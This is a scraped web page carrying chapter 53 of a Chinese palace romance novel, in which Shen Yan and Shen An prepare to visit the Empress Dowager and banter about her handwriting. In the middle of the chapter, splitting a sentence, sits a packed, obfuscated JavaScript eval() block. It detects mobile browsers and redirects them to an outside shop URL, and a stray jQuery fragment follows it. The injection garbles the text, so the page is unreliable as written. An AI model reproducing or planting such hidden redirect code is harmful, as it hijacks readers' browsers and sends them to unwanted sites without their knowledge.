文趣网 > 其他小说 > 昭宁录 > 53.第 53 章
    寒冬晴日,和风舒畅,与冷风柔柔地浸入人肌肤,冷暖交替,倒叫人分外困倦。

    沈砚为自己梳了一个得意的发型,他看着镜子里的自己,意气风发、好不拘束,便更加惬意。

    平日里,他都是将头发一丝不苟地全拢进发冠里的,只是陛下自从知道他生病,便准许沈砚这几日不用上朝、亦无需处理政事,才有了得闲的机会。

    他又为自己换了舒适暖和的衣服,而后将竹条编织的藤椅放置在院里的柏树下,缓缓躺下。

    沈砚毫无牵挂地入睡了,耳边,豆糕和米糕不停吵着。

    这些,都是前所未有过的。

    不知过了多久,敲门的声音从耳畔传来。

    “这就来!”

    沈砚听到阿顺答应了一声,接着,一阵急促的脚步声从自己身边过去了。

    这时,他恍惚听见是春桃的声音。

    阿顺:“你怎么来了?”

    春桃:“公主……公主叫七公子现在就过去!”

    她跑得生气不接下气,说话的时候,整个身子不自主地往里倾,差点要冲进去。

    阿顺忙拦住她:“我们公子在歇息呢,你在这里等着,我去给公子说一声。”

    这院很小,春桃被拦着,可她一眼看见了在柏树下乘凉的七公子,便故意提高了声音:“公子,公主说,八小姐进宫的事情,还请您帮着拾掇,最好一齐拜见了太后再回来!”

    这话落在沈砚耳朵里,自是十分悦耳。

    他不由得睁了眼,也顾不上看阿顺不可置信的眼神,披了大氅便往隔院狂奔。

    他忘了自己方才扎得有些少年气的发型。

    “儿子见过母亲。”

    沈砚大步跨入公主院里,像往常一样,拱手作揖,朝母亲和各位姨娘、姐姐们行礼问安。

    抬头时,他看见公主笑得慈祥,几位姨娘,亦是各有各的神情,总归不大……不大正常。

    公主笑着,看向沈桉:“桉桉,你看看你七哥哥,听说了你的事,跑得比兔子还快。”

    沈桉无言,她轻轻地抿嘴,才将那明媚的笑意压下去些许。

    面前的人,一袭粉色薄衣,衣服上面,只坠了些绣着的桃花绣物,看着既素净又淡雅,亦多了些少年意气。

    再加之,他将玉质地羽冠拆了下来,转而用竹质的抹额代替,又为自己扎了个显眼明媚的高马尾。

    方才,他从外面急匆匆跑进来时,恰如此前年少时,翩然生姿。

    她只看了一眼,便认出来这是他年少时的模样。

    听见公主同自己说话,沈桉抿了抿嘴,才浅笑着起身,冲着他行礼:“母亲说的是。桉桉多谢七哥哥如此照顾,七哥哥这几日可安好?”

    听见熟悉的、期待许久的声音,沈砚的嘴角不觉弯了,他回头,不敢同她对视:“妹妹挂心,我已好多了。”

    公主在一旁看着,心里明镜似的。

    这两个人,真是,都这个时候了,还假装不熟,以为她是傻子?

    “哎。”

    想到这里,公主沉沉叹了口气,照他们如此发展下去,自己何时才能等到修成正果的那一天?

    听见母亲叹息,沈桉只怕被察觉端倪,一边忐忑,一边强装镇静着:“母亲可是有什么不放心?”

    “我没事。”

    公主抬头看了他们一眼,她想说,你俩真能忍。

    罢了,此刻不是说这个的时候。

    想到进宫之事,公主又向目光投向沈砚:“我会比你们先进宫伺候,届时,你带着你八妹妹,一起拜见太后,记得,到时候,可要好好陪她老人家说说话,别叫她心烦了。”

    公主的话,大有深意。

    “母亲放心。”沈砚一边应着公主的话,一边循着公主的目光,去看她。

    沈桉正为自己的成功喜悦不已。

    原本,同二姐姐的细致、五姐姐的才华相比,自己的贺礼实在不算出彩,按理说,应是没有资格入宫的,只是众人都觉得,这转心轮、还有香枕,虽不算惊艳,却是实实在在体察到太后她老人家心意的,于是大家都服气了。

    贺礼,本意不是展现才华,而是表明心意,叫收礼之人心里舒坦。

    看见这个贺礼,公主心中倍感意外。

    她以前从不知道,沈桉竟是如此心思细腻的人,她只知道这是个懂事的孩子。

    其实,私心,沈桉年纪太小,还不适合入宫觐见。

    因此当沈桉提出要参加竞选时,公主心中,也未曾想着要她去,不过是小女孩参与参与,多加鼓励也就是了,总归日后,都有进宫的时候。

    公主没想到,沈桉竟能如此用心对待。

    这些礼佛之物,虽朴素不起眼,却价值不菲,沈桉才进侯府几个月,为了进献这个礼物,怕是将自己从前存下的银两尽数花光了吧!

    难为她舍得,又肯用心。

    秦姨娘和花姨娘在府中多年,好歹还有些体己,沈桉不一样,她没有娘亲护佑,只有自己一个人领月例,为太后所置办的礼物,却是最昂贵的。

    这份心意,实属难得。

    公主终于明白,沈桉看似乖巧,对谁都和和气气的,心里,却是个很有主意的,她打定的事情,便铁了心会完成。

    这一刻,公主才渐渐看出些她的决心来。

    所以公主决心,帮她一把,叫沈砚陪她进宫,赢得太后喜欢,而后名正言顺地在一起,这再好不过了。

    “桉桉,此次进宫,非同小可,你可千万别叫母亲失望。”

    公主嘱咐着,她真希望沈桉能听得懂她的言外之意。

    沈桉点头:“母亲放心。”

    公主又交代了几句,无非是说了些宫里面的规矩礼节,沈桉一件不落地记下了,从正院里出来时,还不断重温,生怕自己忘了。

    沈砚便帮她拿着东西,他小心地拿着她要进献地贺礼,心里一阵惊喜。

    此事,她并没有向他过问,而是私自办了,办的还很不错。

    沈砚心里很高兴,他就知道,自己的意中人,从始至终都能独当一面。

    沈桉将公主交代地事务记在小本本上面,一边走,一边温习着,许久,等自己记得差不多的时候,她放下小本本,特意将自己歪歪扭扭的字掩盖住,才看向了他:“你今日……很特别。”

    沈砚听了,笑

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17763778|205020||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    得灿烂:“怎么说?”

    沈桉笑而不语。

    具体如何,沈桉也说不出,她只是觉得,很有朝气。

    从前,他总是沉稳的、闷闷的。说话温温柔柔的,一言不合,便柔和了眉眼。

    现在,更多了几分灿烂的,有朝气的,活生生的气息。

    被沈桉这样直勾勾看着,少年不禁耳垂红了,他别过头,暗暗地笑了:“今日我屋里突然进来几只喜鹊,和豆糕米糕玩得很好,它们一齐叽叽喳喳的,见了我也不害怕。”

    沈桉点头。

    心地善良的人,便是这样招万物喜欢。

    这样的琐事,他从前从来不说,或许是自己从未注意过,或许是没有发生吧,总归,他愿意一点点走出来,这便叫人高兴。

    沈桉笑道:“砚哥哥,你变了。”

    对此,沈砚并不否认:“我直觉,这是件好事呢!”

    说完,他便用一种感激的目光看着沈桉,看得她很不好意思。

    “走吧!”女子有些羞涩地说。

    清晨的冰霜,在阳光照射下渐渐散去,只留下一些冰碴似的水,被脚一踩,便软踏踏地融化了。

    他们便踏着这层水雾,回到了偏房,她的房间。

    一进院子,沈桉便察觉到柳姨娘的身子似乎真的不大好。

    她房中的人,此刻全部守在门口,一副整装待发的模样,不叫任何人进去,通过琉璃窗,沈桉看见苏刃正在里面坐着,神情凝重。

    她只看了片刻,便自顾自进去了。

    望着里面的情景,沈砚蹙眉,苏刃医术超群,难得有这样束手无策的时候,如此看来,柳姨娘这边,定是出了什么事。

    沈桉进去,将小本本往身旁一甩。

    “怎么了?”身后进来的人,看见她心情不大好,便拿起她扔出去的小本本来看,只看了一眼,便忍无可忍地合上了。

    几日不见,这字,大有退步之势。

    沈桉没料到他会拿起来,一时有些紧张:“我……我只是许久没有练了。”

    谁叫言泽这么久不来。

    对啊,言泽为何迟迟不来?

    见女子一脸理直气壮,沈砚无奈地笑了:“桉桉,我才是你的老师呢,你忘了?”

    沈桉强词夺理:“言先生呢?”

    沈砚:“他教得比我好?”语气酸溜溜的。

    哼……不见得吧!

    听见沈砚这样说,沈桉习惯性地摇头,她发自内心地觉得,言泽与砚哥哥在学问方面,可是不相上下的,教导她,那是绰绰有余。

    她就是很奇怪,言先生这几日都在忙些什么,怎么也不到侯府来了。

    许久没有听他骂人,怪怀念的。

    沈砚细细回想了片刻,他也觉着奇怪,虽说年下宫里事多,但也不至于忙到如此地步。

    对此,沈桉一脸紧张:“莫非是我学得过于差劲,言先生不想教了?”

    不想教就不教,好歹说一声,怎么悄咪咪地走了呢!

    看小女子一脸怨怼,沈砚亦觉得奇怪,他算计着,今日回去后,要寻个机会好好问问素方,她是母亲的贴身侍女,此事一定知道。